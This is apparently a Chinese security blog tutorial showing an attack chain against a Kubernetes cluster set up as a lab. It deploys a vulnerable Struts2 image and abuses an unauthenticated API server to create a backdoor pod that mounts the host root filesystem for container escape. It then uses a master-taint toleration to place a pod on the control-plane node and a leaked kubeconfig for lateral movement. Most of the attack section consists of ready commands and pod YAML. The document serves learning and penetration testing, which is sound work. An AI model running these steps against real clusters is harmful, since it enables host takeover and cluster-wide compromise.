云原生篇&K8s安全&实战场景&攻击Pod&污点Taint&横向移动&容器逃逸

Ethan医生3个月前服务安全97

场景实战:

1、攻击Pod部署Web应用

2、利用ApiServer未授权

3、实现挂载目录宿主机逃逸

4、利用污点Taint横向移动

5、利用Config泄漏横向移动

 

Web应用部署:(struts2漏洞)

kubectl create deployment struts --image=vulhub/struts2:2.3.28

kubectl expose deploy struts --port=8080 --target-port=8080 --type=NodePort

kubectl get pod,svc

 

利用Web漏洞拿下权限

 

探针当前Webshell环境:

https://blog.csdn.net/qq_23936389/article/details/131467165

ls -al /

cat /proc/1/cgroup

 

探针API Server未授权

curl -k https://10.96.0.1:443/api/v1/namespaces/default/pods

 

提交创建后门Pod

./cdk_linux_amd64 kcurl anonymous post 'https://10.96.0.1:443/api/v1/namespaces/default/pods/' '{"apiVersion":"v1","kind":"Pod","metadata":{"annotations":{"kubectl.kubernetes.io/last-applied-configuration":"{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"annotations\":{},\"name\":\"test02\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"image\":\"nginx:1.14.2\",\"name\":\"test02\",\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"host\"}]}],\"volumes\":[{\"hostPath\":{\"path\":\"/\",\"type\":\"Directory\"},\"name\":\"host\"}]}}\n"},"name":"test02","namespace":"default"},"spec":{"containers":[{"image":"nginx:1.14.2","name":"test02","volumeMounts":[{"mountPath":"/host","name":"host"}]}],"volumes":[{"hostPath":{"path":"/","type":"Directory"},"name":"host"}]}}'

 

./kubectl -s 10.96.0.1:443 create -f test.yaml

 

加参数绕过交互式

./kubectl --server=https://10.96.0.1:443 --insecure-skip-tls-verify=true --username=a --password=a get pods

 

利用后门挂载进行逃逸

./kubectl --server=https://10.96.0.1:443 --insecure-skip-tls-verify=true --username=a --password=a exec test02 -- bash -c "ls /host"

 

利用污点Taint横向移动master节点

参考:https://cn-sec.com/archives/1336486.html

获取node节点详情:node-role.kubernetes.io/master:NoSchedule

./kubectl --server=https://10.96.0.1:443 --insecure-skip-tls-verify=true --username=a --password=a describe nodes

 

cat > x.yaml << EOF

apiVersion: v1

kind: Pod

metadata:

name: control-master-x

spec:

tolerations:

- key: node-role.kubernetes.io/master

operator: Exists

effect: NoSchedule

containers:

- name: control-master-x

image: ubuntu:18.04

command: ["/bin/sleep", "3650d"]

volumeMounts:

- name: master

mountPath: /master

volumes:

- name: master

hostPath:

path: /

type: Directory

EOF

 

./kubectl --server=https://10.96.0.1:443 --insecure-skip-tls-verify=true --username=a --password=a create -f ./x.yaml

 

./kubectl --server=https://10.96.0.1:443 --insecure-skip-tls-verify=true --username=a --password=a get pods -o wide

 

./kubectl --server=https://10.96.0.1:443 --insecure-skip-tls-verify=true --username=a --password=a exec control-master -- bash -c "ls /master"

 

也可以利用节点泄漏的config横向移动节点

./kubectl -s https://10.96.0.1:443/ --kubeconfig=config --insecure-skip-tls-verify=true get nodes

./kubectl apply -f test.yaml -n default --kubeconfig=config

./kubectl -n default --kubeconfig=config exec xiaodisec -- bash -c "ls /mnt/root"


相关文章

云原生篇&Docker安全&权限环境检测&容器逃逸&特权模式&危险挂载

云原生篇&Docker安全&权限环境检测&容器逃逸&特权模式&危险挂载

1、Docker是干嘛的?是一种开源的 容器化平台,用于快速开发、测试和部署应用程序。它的核心功能是通过“容器”(Container)技术,将应用程序及其依赖环境(如库、配置文件等)打包成一个轻量级、...

云原生篇&Kubernetes&K8s安全&API&Kubelet未授权访问&容器执行

云原生篇&Kubernetes&K8s安全&API&Kubelet未授权访问&容器执行

#K8S集群架构解释(见上图参考)Kubernetes是一个开源的,用于编排云平台中多个主机上的容器化的应用,目标是让部署容器化的应用能简单并且高效的使用, 提供了应用部署,规划,更新,维护的一种机制...

云服务篇&对象存储&Bucket桶&任意上传&域名接管&AccessKey泄漏

云服务,顾名思义就是云上服务,在云厂商上购买的产品服务。国内有阿里云、腾讯云、华为云、天翼云、Ucloud、金山云等,国外有亚马逊的AWS、Google的GCP、微软的Azure,IBM云等。&nbs...

云原生篇&K8s安全&Config泄漏&Etcd存储&Dashboard鉴权&Proxy暴露

云原生篇&K8s安全&Config泄漏&Etcd存储&Dashboard鉴权&Proxy暴露

#云原生-K8s安全-etcd未授权访问攻击2379端口:默认通过证书认证,主要存放节点的数据,如一些token和证书。 第一种:没有配置指定--client-cert-auth 参数打开证...

开发框架安全&SpringBoot&Struts2&Laravel&ThinkPHP&CVE复现

#PHP-框架安全-Thinkphp&Laravel#Laravel是一套简洁、优雅的PHP Web开发框架(PHP Web Framework)。1、CVE-2021-3129 RCELar...

开发组件安全&Jackson&FastJson各版本&XStream&CVE环境复现

黑盒检测:Java应用 请求参数数据以json/xml格式发送测试黑盒判断:通过提交数据报错信息得到什么组件xml格式(xstream) 或 json 格式(fastjson jackson)白盒:直...

发表评论    

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。